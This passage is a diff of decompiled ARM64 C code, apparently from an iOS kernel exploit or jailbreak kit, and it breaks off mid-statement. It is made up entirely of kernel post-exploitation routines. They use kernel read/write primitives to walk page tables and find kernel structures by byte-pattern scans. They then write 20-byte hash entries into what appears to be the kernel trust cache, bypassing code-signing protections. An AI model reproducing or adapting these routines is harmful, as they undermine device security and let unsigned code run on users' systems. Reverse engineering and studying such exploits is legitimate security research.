+ return result; +} +// 213B8: variable 'vars8' is possibly undefined + +//----- (00000000000213D4) ---------------------------------------------------- +__n128 __fastcall sub_213D4(__int64 a1, unsigned __int64 a2, __int64 a3, __int64 a4) +{ + __int64 v8; // x23 + unsigned __int64 v9; // x1 + unsigned __int64 v10; // x9 + __n128 result; // q0 + __int64 v12; // x24 + unsigned __int64 v13; // x25 + unsigned __int64 v14; // x23 + __int64 v15; // x26 + _BOOL4 v16; // w0 + unsigned __int64 v17; // x8 + unsigned __int64 v18; // x9 + unsigned __int64 v19; // x23 + int v20; // w10 + __int64 v21; // x11 + __int64 v22; // x11 + int v23; // w9 + unsigned __int64 v24; // x0 + unsigned __int64 v25; // x23 + int v26; // w8 + unsigned __int64 v27; // x1 + unsigned __int64 v28; // x9 + __int128 v29; // q1 + __int64 v30; // x23 + __int64 v31; // x24 + _BOOL4 has_flag; // w0 + int v33; // w8 + unsigned __int64 v34; // x8 + unsigned __int64 v35; // x25 + __int64 v36; // x11 + __int64 v37; // x8 + __int64 v38; // x8 + __int128 v39; // q1 + unsigned __int64 v40; // [xsp+0h] [xbp-50h] BYREF + unsigned __int64 v41; // [xsp+8h] [xbp-48h] BYREF + + if ( !a3 ) + return result; + v8 = 0; + *(_QWORD *)(a3 + 32) = 0; + *(_OWORD *)a3 = 0u; + *(_OWORD *)(a3 + 16) = 0u; + do + { + v9 = *(_QWORD *)(a1 + v8 + 1512); + if ( !v9 ) + break; + v10 = *(_QWORD *)(a1 + v8 + 1520); + if ( v10 <= a2 && v10 + *(unsigned int *)(a1 + v8 + 1528) > a2 ) + { + if ( kreadbuf((struct_krwCtx *)a1, v9, 8u, (void *)(a1 + v8 + 1544), a4) ) + { + result = *(__n128 *)(a1 + v8 + 1512); + v29 = *(_OWORD *)(a1 + v8 + 1528); + *(_QWORD *)(a3 + 32) = *(_QWORD *)(a1 + v8 + 1544); + *(__n128 *)a3 = result; + *(_OWORD *)(a3 + 16) = v29; + return result; + } + break; + } + v8 += 40; + } + while ( v8 != 640 ); + if ( !*(_QWORD *)(a1 + 1488) ) + { + v24 = sub_21388((struct_krwCtx *)a1); + if ( !v24 ) + return result; + v25 = v24; + if ( !kread64_outptr((struct_krwCtx *)a1, v24, &v41) + || !kread64_outptr((struct_krwCtx *)a1, v25 + *(int *)(a1 + 360), &v40) ) + { + return result; + } + if ( *(_DWORD *)(a1 + 384) == 4096 ) + v26 = 512; + else + v26 = 2048; + v28 = v40; + v27 = v41; + *(_QWORD *)(a1 + 1488) = v41; + *(_QWORD *)(a1 + 1496) = v28; + *(_DWORD *)(a1 + 1504) = v26; + sub_385F4((struct_krwCtx *)a1, v27); + } + if ( *(_DWORD *)(a1 + 384) == 4096 || krw_ctx_has_flag((struct_krwCtx *)a1, 0x8000) ) + { + v12 = *(_QWORD *)(a1 + 1488); + v13 = *(_QWORD *)(a1 + 1496); + v14 = sub_38378(a1, v12, v13, v13); + v15 = (a2 >> 27) & 0x7F8; + v16 = kreadbuf((struct_krwCtx *)a1, v12 + v15, 8u, &v41, a4); + if ( !v16 ) + goto LABEL_58; + v17 = v41; + v18 = v41 & 3; + if ( (v41 & 3) == 0 ) + goto LABEL_57; + if ( v18 == 1 ) + { + v19 = v14 + v15; + v20 = 0x40000000; + v21 = -1073741824; +LABEL_14: + v22 = v21 & a2; + *(_QWORD *)a3 = v19; +LABEL_15: + *(_QWORD *)(a3 + 8) = v22; + *(_DWORD *)(a3 + 16) = v20; + *(_BYTE *)(a3 + 20) = v18; + *(_QWORD *)(a3 + 32) = v17; + if ( (v17 & 0x80) != 0 ) + v23 = 1; + else + v23 = 3; + *(_DWORD *)(a3 + 24) = ((v17 >> 51) & 4 | v23) ^ 4; + v16 = 1; + goto LABEL_58; + } + if ( (v41 & 0x800000000000000LL) != 0 ) + *(_DWORD *)(a3 + 20) |= 0x100u; + v19 = sub_38378(a1, v12, v13, v17 & 0xFFFFFFFFF000LL) + ((a2 >> 18) & 0xFF8); + v16 = kreadbuf((struct_krwCtx *)a1, v19, 8u, &v41, a4); + if ( v16 ) + { + v17 = v41; + v18 = v41 & 3; + if ( (v41 & 3) == 0 ) + goto LABEL_57; + if ( v18 == 1 ) + { + v20 = 0x200000; + v21 = -2097152; + goto LABEL_14; + } + if ( (v41 & 0x800000000000000LL) != 0 ) + *(_DWORD *)(a3 + 20) |= 0x100u; + v19 = sub_38378(a1, v12, v13, v17 & 0xFFFFFFFFF000LL) + ((a2 >> 9) & 0xFF8); + v16 = kreadbuf((struct_krwCtx *)a1, v19, 8u, &v41, a4); + if ( v16 ) + { + v17 = v41; + if ( (~(_BYTE)v41 & 3) == 0 ) + { + LOBYTE(v18) = 3; + v20 = 4096; + v21 = -4096; + goto LABEL_14; + } +LABEL_57: + v16 = 0; + } + } + } + else + { + if ( *(_DWORD *)(a1 + 384) != 0x4000 ) + return result; + v30 = *(_QWORD *)(a1 + 1488); + v31 = *(_QWORD *)(a1 + 1496); + has_flag = krw_ctx_has_flag((struct_krwCtx *)a1, 83886088); + v33 = 2047; + if ( !has_flag ) + v33 = 7; + v16 = kreadbuf((struct_krwCtx *)a1, v30 + 8 * (*(_QWORD *)&v33 & (a2 >> 36)), 8u, &v41, a4); + if ( !v16 ) + goto LABEL_58; + v34 = v41; + if ( (~(_BYTE)v41 & 3) != 0 ) + goto LABEL_57; + if ( (v41 & 0x800000000000000LL) != 0 ) + *(_DWORD *)(a3 + 20) |= 0x100u; + v35 = sub_38378(a1, v30, v31, v34 & 0xFFFFFFFFC000LL) + ((a2 >> 22) & 0x3FF8); + v16 = kreadbuf((struct_krwCtx *)a1, v35, 8u, &v41, a4); + if ( v16 ) + { + v17 = v41; + v18 = v41 & 3; + if ( (v41 & 3) == 0 ) + goto LABEL_57; + if ( v18 == 1 ) + { + v20 = 0x2000000; + v36 = -33554432; + } + else + { + if ( (v41 & 0x800000000000000LL) != 0 ) + *(_DWORD *)(a3 + 20) |= 0x100u; + v35 = sub_38378(a1, v30, v31, v17 & 0xFFFFFFFFC000LL) + ((a2 >> 11) & 0x3FF8); + v16 = kreadbuf((struct_krwCtx *)a1, v35, 8u, &v41, a4); + if ( !v16 ) + goto LABEL_58; + v17 = v41; + if ( (~(_BYTE)v41 & 3) != 0 ) + goto LABEL_57; + LOBYTE(v18) = 3; + v20 = 0x4000; + v36 = -16384; + } + v22 = v36 & a2; + *(_QWORD *)a3 = v35; + goto LABEL_15; + } + } +LABEL_58: + if ( v16 ) + { + v37 = 0; + while ( *(_QWORD *)(a1 + 1512 + v37) ) + { + v37 += 40; + if ( v37 == 640 ) + return result; + } + v38 = a1 + v37 + 1512; + result = *(__n128 *)a3; + v39 = *(_OWORD *)(a3 + 16); + *(_QWORD *)(v38 + 32) = *(_QWORD *)(a3 + 32); + *(__n128 *)v38 = result; + *(_OWORD *)(v38 + 16) = v39; + } + return result; +} + +//----- (000000000002183C) ---------------------------------------------------- +double __fastcall sub_2183C(__int64 a1, unsigned __int64 a2, __int64 a3) +{ + double result; // d0 + + *(_QWORD *)&result = sub_213D4(a1, a2, a3, 1).n128_u64[0]; + return result; +} + +//----- (0000000000021844) ---------------------------------------------------- +unsigned __int64 __fastcall sub_21844(__int64 a1, unsigned __int64 a2) +{ + int v4; // w0 + _OWORD v6[2]; // [xsp+0h] [xbp-40h] BYREF + __int64 v7; // [xsp+20h] [xbp-20h] + + v7 = 0; + memset(v6, 0, sizeof(v6)); + sub_213D4(a1, a2, (__int64)v6, 1); + if ( v4 ) + return *(_QWORD *)(a1 + 392) & a2 | v7 & 0xFFFFFFFFC000LL; + else + return 0; +} +// 21878: variable 'v4' is possibly undefined + +//----- (00000000000218A8) ---------------------------------------------------- +unsigned __int64 __fastcall sub_218A8(__int64 a1, unsigned __int64 a2, __int64 a3) +{ + int v5; // w0 + _OWORD v7[2]; // [xsp+0h] [xbp-40h] BYREF + __int64 v8; // [xsp+20h] [xbp-20h] + + v8 = 0; + memset(v7, 0, sizeof(v7)); + sub_213D4(a1, a2, (__int64)v7, a3); + if ( v5 ) + return *(_QWORD *)(a1 + 392) & a2 | v8 & 0xFFFFFFFFC000LL; + else + return 0; +} +// 218DC: variable 'v5' is possibly undefined + +//----- (000000000002190C) ---------------------------------------------------- +__int64 __fastcall sub_2190C(int a1, _QWORD *a2) +{ + void *v3; // x0 + + if ( !a2 ) + return 708609; + v3 = (void *)a2[3]; + if ( v3 ) + free(v3); + *(_OWORD *)a2 = 0u; + *((_OWORD *)a2 + 1) = 0u; + free(a2); + return 0; +} + +//----- (0000000000021960) ---------------------------------------------------- +__int64 __fastcall sub_21960(__int64 a1, vm_size_t **a2) +{ + __int64 v4; // x21 + vm_size_t *v5; // x0 + vm_size_t *v6; // x19 + vm_size_t v7; // x23 + __int64 v8; // x0 + __int64 v9; // x28 + __int64 v10; // x24 + unsigned __int64 v11; // x8 + _OWORD *v12; // x3 + __int64 v13; // x25 + char *v14; // x8 + unsigned int v15; // w8 + unsigned __int64 v16; // x24 + vm_size_t v17; // x8 + __int64 v18; // x24 + __int64 v19; // x1 + __int64 v20; // x0 + char *v21; // x1 + __int64 *v22; // x23 + unsigned __int64 v23; // x8 + unsigned __int64 v24; // x25 + __int64 *v25; // x8 + int v26; // w8 + __int64 *v27; // x0 + __int64 *v28; // x1 + unsigned __int64 v29; // x8 + __int64 v30; // x26 + _OWORD *v31; // x27 + unsigned int v32; // w9 + unsigned int v33; // w10 + int v34; // w9 + __int64 v35; // x25 + __int64 v36; // x27 + __int64 v37; // x8 + unsigned __int64 v38; // x23 + __int128 v39; // q1 + char *v40; // x1 + __int64 v42; // [xsp+0h] [xbp-F0h] + vm_size_t size; // [xsp+8h] [xbp-E8h] BYREF + __int64 v44[2]; // [xsp+10h] [xbp-E0h] BYREF + _OWORD v45[4]; // [xsp+20h] [xbp-D0h] BYREF + _OWORD v46[3]; // [xsp+60h] [xbp-90h] BYREF + + v4 = 708617; + v5 = (vm_size_t *)calloc(0x20u, 1u); + if ( v5 ) + { + v6 = v5; + v7 = *(_QWORD *)(a1 + 520); + if ( v7 ) + goto LABEL_3; + v16 = *(_QWORD *)(a1 + 6552); + if ( v16 ) + { +LABEL_20: + v9 = 163855; + LODWORD(v8) = kread64_outptr((struct_krwCtx *)a1, v16, &size); + if ( (_DWORD)v8 ) + { + v7 = v16; + if ( !size ) + goto LABEL_67; + v8 = validate_addr(a1, size); + if ( v8 ) + { + v17 = size; + v7 = v16; + if ( size ) + { + while ( 1 ) + { + v7 = v17; + if ( *(_QWORD *)(a1 + 344) <= 0x2257FFFFFFFFFFuLL ) + { + LODWORD(v8) = kreadbuf_last_1((struct_krwCtx *)a1, v17, 48, v45); + if ( !(_DWORD)v8 ) + goto LABEL_43; + LODWORD(v8) = kreadbuf_last_1((struct_krwCtx *)a1, *((_QWORD *)&v45[0] + 1) + 4LL, 16, v44); + if ( !(_DWORD)v8 ) + goto LABEL_43; + v17 = *(_QWORD *)&v45[0]; + } + else + { + LODWORD(v8) = kreadbuf_last_1((struct_krwCtx *)a1, v17, 40, v46); + if ( !(_DWORD)v8 ) + goto LABEL_43; + LODWORD(v8) = kreadbuf_last_1((struct_krwCtx *)a1, *(_QWORD *)&v46[2] + 4LL, 16, v44); + if ( !(_DWORD)v8 ) + goto LABEL_43; + v17 = *(_QWORD *)&v46[0]; + } + if ( !(v44[0] ^ 0x403020100LL | v44[1]) ) + break; + size = v17; + if ( !v17 ) + goto LABEL_67; + } + if ( size ) + { + v9 = 0; + v7 = size; + goto LABEL_109; + } + } +LABEL_67: + v29 = *(_QWORD *)(a1 + 344) >> 43; + if ( v29 <= 0x44A ) + v30 = 48; + else + v30 = 64; + if ( v29 <= 0x44A ) + v31 = v46; + else + v31 = v45; + v32 = *(_DWORD *)(a1 + 384); + v33 = ((unsigned int)v30 | 0x5800) % v32; + v34 = v32 - v33; + if ( !v33 ) + v34 = 0; + LODWORD(size) = v34 + (v30 | 0x5800); + v8 = sub_37210(a1, (unsigned int *)&size); + if ( !v8 ) + { + v36 = 708617; +LABEL_108: + v9 = v36; + goto LABEL_109; + } + v35 = v8; + v42 = (__int64)v31; + if ( *(_QWORD *)(a1 + 344) <= 0x2257FFFFFFFFFFuLL ) + { + v36 = 163855; + if ( kread64_outptr((struct_krwCtx *)a1, v16, (unsigned __int64 *)v44) ) + { + v36 = 0; + *(_QWORD *)&v46[0] = v44[0]; + *((_QWORD *)&v46[0] + 1) = v35 + 24; + *(_QWORD *)&v46[1] = (unsigned int)size - 24LL; + HIDWORD(v46[2]) = 0; + DWORD2(v46[1]) = 1; + *(_OWORD *)((char *)&v46[1] + 12) = xmmword_43460; + } + } + else + { + v36 = 163855; + if ( kread64_outptr((struct_krwCtx *)a1, v16, (unsigned __int64 *)v44) ) + { + v36 = 0; + *(_QWORD *)&v45[0] = v44[0]; + *(_OWORD *)((char *)v45 + 8) = xmmword_43450; + *((_QWORD *)&v45[1] + 1) = (unsigned int)size - 40LL; + *(_QWORD *)&v45[2] = v35 + 40; + DWORD2(v45[2]) = 1; + HIDWORD(v45[3]) = 0; + *(_OWORD *)((char *)&v45[2] + 12) = xmmword_43460; + } + } + if ( !(_DWORD)v36 ) + { + if ( (unsigned int)kwritebuf_last_1(a1, v35, v42, v30) ) + { + if ( krw_ctx_has_flag((struct_krwCtx *)a1, 85475329) ) + { + sub_13D9C((struct_krwCtx *)a1, v16, v35); + if ( (_DWORD)v8 ) + { +LABEL_86: + v36 = 0; + v7 = v35; + goto LABEL_108; + } + } + else + { + LODWORD(v8) = kwrite64(a1, v16, v35); + if ( (_DWORD)v8 ) + goto LABEL_86; + } + } + v36 = 163856; + } + LODWORD(v8) = sub_36E4C(a1, v35, (unsigned int)size); + goto LABEL_108; + } + v7 = 0; + v9 = 163857; + } + else + { +LABEL_43: + v7 = 0; + } +LABEL_109: + if ( (_DWORD)v9 ) + goto LABEL_117; + *(_QWORD *)(a1 + 520) = v7; +LABEL_3: + *v6 = v7; + v6[1] = 0x200000014LL; + v8 = (__int64)calloc(0x5800u, 1u); + v9 = 708617; + if ( v8 ) + { + v10 = v8; + v6[3] = v8; + memset(v46, 0, sizeof(v46)); + memset(v45, 0, sizeof(v45)); + if ( v7 ) + { + v9 = 163855; + v11 = *(_QWORD *)(a1 + 344) >> 43; + if ( v11 <= 0x44A ) + v12 = v46; + else + v12 = v45; + if ( v11 <= 0x44A ) + v13 = 48; + else + v13 = 64; + LODWORD(v8) = kreadbuf_last_1((struct_krwCtx *)a1, v7, v13, v12); + if ( (_DWORD)v8 ) + { + if ( *(_QWORD *)(a1 + 344) <= 0x2257FFFFFFFFFFuLL ) + v14 = (char *)&v46[2] + 12; + else + v14 = (char *)&v45[3] + 12; + v15 = *(_DWORD *)v14; + if ( v15 > 0x3FF ) + { + v9 = 708620; + } + else + { + *((_DWORD *)v6 + 4) = v15; + if ( !v15 + || (LODWORD(v8) = kreadbuf_last_1((struct_krwCtx *)a1, v7 + v13, 22 * v15, (void *)v10), (_DWORD)v8) ) + { + v4 = 0; + *a2 = v6; + return v4; + } + } + } + } + else + { + v9 = 708609; + } + } +LABEL_117: + sub_2190C(v8, v6); + return v9; + } + v8 = *(_QWORD *)(a1 + 6648); + if ( !v8 ) + { +LABEL_116: + v9 = 708625; + goto LABEL_117; + } + if ( *(_QWORD *)(a1 + 344) >> 43 < 0x44Bu ) + { + ((void (__usercall *)(__int64@, _QWORD *@))sub_39B70)(a1, v45); + if ( *(_QWORD *)(a1 + 344) <= 0x1F541DFFFFFFFFuLL ) + v21 = "0A 05 40 F9 2B 11 40 39"; + else + v21 = "0B 05 40 F9 6C 11 40 39"; + v46[0] = v45[0]; + *(_QWORD *)&v46[1] = *(_QWORD *)&v45[1]; + v8 = kernel_pattern_scan((__int64)v46, v21, 0); + if ( v8 ) + { + v22 = (__int64 *)v8; + v23 = *(_QWORD *)(a1 + 344); + if ( v23 < 0x1C1B0002E00000LL ) + { + v27 = *(__int64 **)(a1 + 6648); + if ( v23 < 0x18091980200000LL ) + v28 = v22 - 2; + else + v28 = (__int64 *)((char *)v22 - 28); +LABEL_112: + v8 = sub_1E854(v27, v28); + goto LABEL_113; + } + v24 = v8 - 64; + if ( v8 - 4 >= (unsigned __int64)(v8 - 64) ) + { + do + { + LODWORD(v8) = (unsigned __int64)sub_19ACC(*(__int64 **)(a1 + 6648), (__int64 *)((char *)v22 - 4)); + if ( (v8 & 0x9F000000) == 0x90000000 ) + { + LODWORD(v8) = (unsigned __int64)sub_19ACC(*(__int64 **)(a1 + 6648), v22); + if ( (v8 & 0xBFC00000) == 0xB9400000 ) + goto LABEL_111; + } + else if ( (_DWORD)v8 == -721215457 ) + { + LODWORD(v8) = (unsigned __int64)sub_19ACC(*(__int64 **)(a1 + 6648), v22); + if ( BYTE3(v8) == 88 ) + { +LABEL_111: + v27 = *(__int64 **)(a1 + 6648); + v28 = (__int64 *)((char *)v22 - 4); + goto LABEL_112; + } + } + v25 = v22 - 1; + v22 = (__int64 *)((char *)v22 - 4); + } + while ( (unsigned __int64)v25 >= v24 ); + } + } + } + else + { + sub_19D10(v8, v46); + if ( krw_ctx_has_flag((struct_krwCtx *)a1, 32) ) + { + v18 = *(_QWORD *)(a1 + 7480); + if ( v18 ) + { +LABEL_39: + sub_19D10(v18, v45); + v8 = kernel_pattern_scan( + (__int64)v45, + "1F 20 03 D5 .. .. .. .. .. .. .. .. .. .. .. .. 08 05 00 51 1F F9 03 71", + 0); + if ( v8 ) + { + v8 = (unsigned __int64)sub_1EB2C(*(__int64 **)(a1 + 7480), (__int64 *)(v8 - 4), 0); + if ( v8 ) + { + v8 = sub_19B94(*(_QWORD *)(a1 + 7480), v8 + 32); + if ( v8 ) + { + v19 = v8; + v20 = *(_QWORD *)(a1 + 7480); +LABEL_102: + v8 = sub_19B94(v20, v19); +LABEL_113: + v16 = v8; + if ( v8 ) + *(_QWORD *)(a1 + 6552) = v8; +LABEL_115: + if ( v16 ) + goto LABEL_20; + goto LABEL_116; + } + } + } + } + else + { + LODWORD(v8) = krw_ctx_has_flag((struct_krwCtx *)a1, 32); + if ( (_DWORD)v8 ) + { + v37 = *(_QWORD *)(*(_QWORD *)(a1 + 280) + 328LL); + if ( v37 ) + { + LODWORD(v44[0]) = 0; + v38 = v37 & ~*(_QWORD *)(a1 + 392); + while ( 1 ) + { + v38 -= *(unsigned int *)(a1 + 384); + LODWORD(v8) = kread32_outptr(a1, v38, v44); + if ( !(_DWORD)v8 ) + break; + if ( LODWORD(v44[0]) == -17958193 ) + { + if ( v38 ) + { + v8 = (__int64)calloc(0x128u, 1u); + if ( v8 ) + { + v18 = v8; + sub_19DD4((struct_a1 *)v8, a1); + v39 = *(_OWORD *)(a1 + 336); + *(_OWORD *)(v18 + 112) = *(_OWORD *)(a1 + 320); + *(_OWORD *)(v18 + 128) = v39; + *(_QWORD *)(v18 + 144) = *(_QWORD *)(a1 + 352); + *(_DWORD *)(v18 + 152) = *(_DWORD *)(a1 + 376); + *(_DWORD *)(v18 + 56) = *(_DWORD *)(a1 + 384); + LODWORD(v8) = sub_1A0D4(v18, 0, v38, 0); + if ( (_DWORD)v8 ) + { + *(_QWORD *)(a1 + 7480) = v18; + goto LABEL_39; + } + } + } + break; + } + } + } + } + } + } + else + { + v26 = *(_DWORD *)(a1 + 320); + if ( v26 < 10002 ) + { + if ( v26 <= 8795 ) + v40 = "3F 7D 01 A9 .. .. .. .. 5F 01 00 F9"; + else + v40 = "00 E4 00 .. 20 01 00 AD .. .. .. .. 5F 01 00 F9"; + v45[0] = v46[0]; + *(_QWORD *)&v45[1] = *(_QWORD *)&v46[1]; + v8 = kernel_pattern_scan((__int64)v45, v40, 0); + if ( v8 ) + { + v8 = sub_1E854(*(__int64 **)(a1 + 6648), (__int64 *)(v8 - 12)); + if ( v8 ) + { + v19 = v8; + v20 = *(_QWORD *)(a1 + 6648); + goto LABEL_102; + } + } + } + else + { + v45[0] = v46[0]; + *(_QWORD *)&v45[1] = *(_QWORD *)&v46[1]; + v8 = kernel_pattern_scan((__int64)v45, "E0 03 13 AA 01 00 80 52 02 05 80 52 .. .. .. .. E0 03", 0); + if ( v8 ) + { + v8 = sub_1E854(*(__int64 **)(a1 + 6648), (__int64 *)(v8 - 20)); + if ( v8 ) + { + v19 = v8 + *(int *)(a1 + 360); + v20 = *(_QWORD *)(a1 + 6648); + goto LABEL_102; + } + } + } + } + } + v16 = 0; + goto LABEL_115; + } + return v4; +} +// 21F64: variable 'v8' is possibly undefined +// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); +// 43450: using guessed type __int128 xmmword_43450; +// 43460: using guessed type __int128 xmmword_43460; + +//----- (0000000000022144) ---------------------------------------------------- +bool __fastcall sub_22144(int a1, __int64 a2, void *__s2, size_t __n) +{ + __int64 v4; // x21 + __int64 v5; // x8 + unsigned int v7; // w22 + size_t v8; // x20 + int v9; // w23 + __int64 v10; // x24 + int v11; // w8 + _BOOL8 result; // x0 + bool v13; // zf + + if ( !a2 ) + return 0; + v4 = *(_QWORD *)(a2 + 24); + if ( !v4 ) + return 0; + v5 = *(unsigned int *)(a2 + 16); + if ( !(_DWORD)v5 || *(_DWORD *)(a2 + 8) != (_DWORD)__n ) + return 0; + v7 = 0; + v8 = (unsigned int)__n; + v9 = *(_DWORD *)(a2 + 12) + __n; + v10 = v5 - 1; + do + { + v11 = memcmp((const void *)(v4 + v7), __s2, v8); + result = v11 == 0; + v7 += v9; + if ( v11 ) + v13 = v10 == 0; + else + v13 = 1; + --v10; + } + while ( !v13 ); + return result; +} + +//----- (00000000000221E0) ---------------------------------------------------- +size_t __fastcall sub_221E0(int a1, __int64 a2, void *a3, size_t __n) +{ + size_t v4; // x19 + __int64 v6; // x23 + unsigned int v7; // w22 + unsigned int v9; // w8 + void *v10; // x23 + int v11; // w9 + void *v12; // x21 + size_t v13; // x20 + int (__cdecl *v14)(const void *, const void *); // x0 + + v4 = 708609; + if ( a2 ) + { + v6 = *(_QWORD *)(a2 + 24); + if ( v6 ) + { + v7 = __n; + if ( *(_DWORD *)(a2 + 8) == (_DWORD)__n ) + { + if ( sub_22144(a1, a2, a3, __n) ) + return 0; + v9 = *(_DWORD *)(a2 + 16); + if ( v9 > 0x3FF ) + return 708620; + v10 = (void *)(v6 + (*(_DWORD *)(a2 + 12) + v7) * v9); + memcpy(v10, a3, v7); + v11 = *(_DWORD *)(a2 + 12); + ++*(_DWORD *)(a2 + 16); + if ( v11 == 2 ) + { + *((_BYTE *)v10 + *(unsigned int *)(a2 + 8)) = 2; + *((_BYTE *)v10 + (unsigned int)(*(_DWORD *)(a2 + 8) + 1)) = 0; + } + v12 = *(void **)(a2 + 24); + if ( v12 ) + { + v4 = *(unsigned int *)(a2 + 16); + if ( (_DWORD)v4 ) + { + v13 = (unsigned int)(*(_DWORD *)(a2 + 12) + *(_DWORD *)(a2 + 8)); + v14 = (int (__cdecl *)(const void *, const void *))nullsub_1(sub_22470); + qsort(v12, v4, v13, v14); + return 0; + } + } + } + } + } + return v4; +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (00000000000222F0) ---------------------------------------------------- +__int64 __fastcall sub_222F0(__int64 a1, __int64 a2) +{ + __int64 v2; // x19 + __int64 v4; // x2 + unsigned __int64 v6; // x22 + __int64 v7; // x9 + __int64 v8; // x8 + + v2 = 708609; + if ( a2 ) + { + v4 = *(_QWORD *)(a2 + 24); + if ( v4 ) + { + if ( *(_QWORD *)a2 ) + { + v2 = 163856; + v6 = *(_QWORD *)(a1 + 344) >> 43; + v7 = 48; + if ( v6 > 0x44A ) + v7 = 64; + if ( (unsigned int)kwritebuf_last_1( + a1, + v7 + *(_QWORD *)a2, + v4, + (unsigned int)((*(_DWORD *)(a2 + 12) + *(_DWORD *)(a2 + 8)) * *(_DWORD *)(a2 + 16))) ) + { + v8 = 44; + if ( v6 > 0x44A ) + v8 = 60; + if ( noppl_kwrite32(a1, *(_QWORD *)a2 + v8, *(_DWORD *)(a2 + 16)) ) + return 0; + else + return 163856; + } + } + } + } + return v2; +} + +//----- (00000000000223A4) ---------------------------------------------------- +bool __fastcall sub_223A4(__int64 a1, unsigned int a2, int a3, __int64 a4) +{ + int v7; // w22 + _QWORD *v8; // x21 + __int64 v9; // x24 + __int64 v10; // x23 + int v11; // w0 + int v13[2]; // [xsp+8h] [xbp-38h] BYREF + + *(_QWORD *)v13 = 0; + if ( a3 == 20 ) + { + v7 = sub_21960(a1, (vm_size_t **)v13); + if ( !v7 ) + { + v8 = *(_QWORD **)v13; + if ( a2 ) + { + v9 = 0; + v10 = 20LL * a2; + while ( 1 ) + { + v11 = sub_221E0(0, (__int64)v8, (void *)(a4 + ((unsigned int)v9 & 0xFFFFFFFC)), 0x14u); + if ( v11 ) + break; + v9 += 20; + if ( v10 == v9 ) + goto LABEL_7; + } + } + else + { +LABEL_7: + v11 = sub_222F0(a1, (__int64)v8); + } + v7 = v11; + sub_2190C(v11, v8); + } + } + else + { + v7 = 708609; + } + return v7 == 0; +} + +//----- (0000000000022464) ---------------------------------------------------- +bool __fastcall sub_22464(__int64 a1, __int64 a2, int a3) +{ + return sub_223A4(a1, 1u, a3, a2); +} + +//----- (0000000000022470) ---------------------------------------------------- +__int64 __fastcall sub_22470(__int64 a1, __int64 a2) +{ + __int64 v2; // x8 + unsigned int v3; // w9 + unsigned int v4; // w10 + + v2 = 0LL; + while ( 1 ) + { + v3 = *(unsigned __int8 *)(a1 + v2); + v4 = *(unsigned __int8 *)(a2 + v2); + if ( v3 < v4 ) + return 0xFFFFFFFFLL; + if ( v3 > v4 ) + break; + if ( ++v2 == 20 ) + return 0LL; + } + return 1LL; +} + +//----- (00000000000224AC) ---------------------------------------------------- +__int64 __fastcall sub_224AC(__int64 a1, unsigned int a2) +{ + return task_self_get_ipc_port(*(struct_krwCtx **)(a1 + 32), a2); +} + +//----- (00000000000224B4) ---------------------------------------------------- +unsigned __int64 __fastcall sub_224B4(__int64 a1, unsigned int a2) +{ + return port_name_to_kaddr(*(struct_krwCtx **)(a1 + 32), a2); +} + +//----- (00000000000224BC) ---------------------------------------------------- +__int64 __fastcall sub_224BC(char **a1, unsigned int a2) +{ + io_registry_entry_t v4; // w0 + io_registry_entry_t v5; // w20 + const __CFString *v6; // x0 + const __CFString *v7; // x22 + CFTypeRef CFProperty; // x0 + const void *v9; // x23 + CFTypeID TypeID; // x24 + CFIndex Length; // x24 + const UInt8 *BytePtr; // x0 + _BYTE *v13; // x8 + int v14; // t1 + char *v15; // x0 + __int64 v16; // x19 + char __str[16]; // [xsp+10h] [xbp-350h] BYREF + __int128 v19; // [xsp+20h] [xbp-340h] + __int128 v20; // [xsp+30h] [xbp-330h] + __int128 v21; // [xsp+40h] [xbp-320h] + __int128 v22; // [xsp+50h] [xbp-310h] + __int128 v23; // [xsp+60h] [xbp-300h] + __int128 v24; // [xsp+70h] [xbp-2F0h] + __int128 v25; // [xsp+80h] [xbp-2E0h] + __int128 v26; // [xsp+90h] [xbp-2D0h] + __int128 v27; // [xsp+A0h] [xbp-2C0h] + __int128 v28; // [xsp+B0h] [xbp-2B0h] + __int128 v29; // [xsp+C0h] [xbp-2A0h] + __int128 v30; // [xsp+D0h] [xbp-290h] + __int128 v31; // [xsp+E0h] [xbp-280h] + __int128 v32; // [xsp+F0h] [xbp-270h] + __int128 v33; // [xsp+100h] [xbp-260h] + __int128 v34; // [xsp+110h] [xbp-250h] + __int128 v35; // [xsp+120h] [xbp-240h] + __int128 v36; // [xsp+130h] [xbp-230h] + __int128 v37; // [xsp+140h] [xbp-220h] + __int128 v38; // [xsp+150h] [xbp-210h] + __int128 v39; // [xsp+160h] [xbp-200h] + __int128 v40; // [xsp+170h] [xbp-1F0h] + __int128 v41; // [xsp+180h] [xbp-1E0h] + __int128 v42; // [xsp+190h] [xbp-1D0h] + __int128 v43; // [xsp+1A0h] [xbp-1C0h] + __int128 v44; // [xsp+1B0h] [xbp-1B0h] + __int128 v45; // [xsp+1C0h] [xbp-1A0h] + __int128 v46; // [xsp+1D0h] [xbp-190h] + __int128 v47; // [xsp+1E0h] [xbp-180h] + __int128 v48; // [xsp+1F0h] [xbp-170h] + __int128 v49; // [xsp+200h] [xbp-160h] + _OWORD v50[16]; // [xsp+210h] [xbp-150h] BYREF + + memset(v50, 0, sizeof(v50)); + v48 = 0u; + v49 = 0u; + v46 = 0u; + v47 = 0u; + v44 = 0u; + v45 = 0u; + v42 = 0u; + v43 = 0u; + v40 = 0u; + v41 = 0u; + v38 = 0u; + v39 = 0u; + v36 = 0u; + v37 = 0u; + v34 = 0u; + v35 = 0u; + v32 = 0u; + v33 = 0u; + v30 = 0u; + v31 = 0u; + v28 = 0u; + v29 = 0u; + v26 = 0u; + v27 = 0u; + v24 = 0u; + v25 = 0u; + v22 = 0u; + v23 = 0u; + v20 = 0u; + v21 = 0u; + *(_OWORD *)__str = 0u; + v19 = 0u; + v4 = IORegistryEntryFromPath(kIOMasterPortDefault, "IODeviceTree:/chosen"); + if ( !v4 ) + return 0; + v5 = v4; + v6 = CFStringCreateWithCString(kCFAllocatorDefault, "boot-manifest-hash", 0x8000100u); + if ( v6 ) + { + v7 = v6; + CFProperty = IORegistryEntryCreateCFProperty(v5, v6, kCFAllocatorDefault, 0); + if ( CFProperty ) + { + v9 = CFProperty; + TypeID = CFDataGetTypeID(); + if ( TypeID != CFGetTypeID(v9) ) + goto LABEL_12; + Length = CFDataGetLength((CFDataRef)v9); + BytePtr = CFDataGetBytePtr((CFDataRef)v9); + if ( (unsigned __int64)(Length - 1) > 0x7E ) + goto LABEL_12; + v13 = v50; + do + { + v14 = *BytePtr++; + *v13 = a0123456789abcd[(unsigned __int8)(v14 ^ a2) >> 4]; + v13[1] = 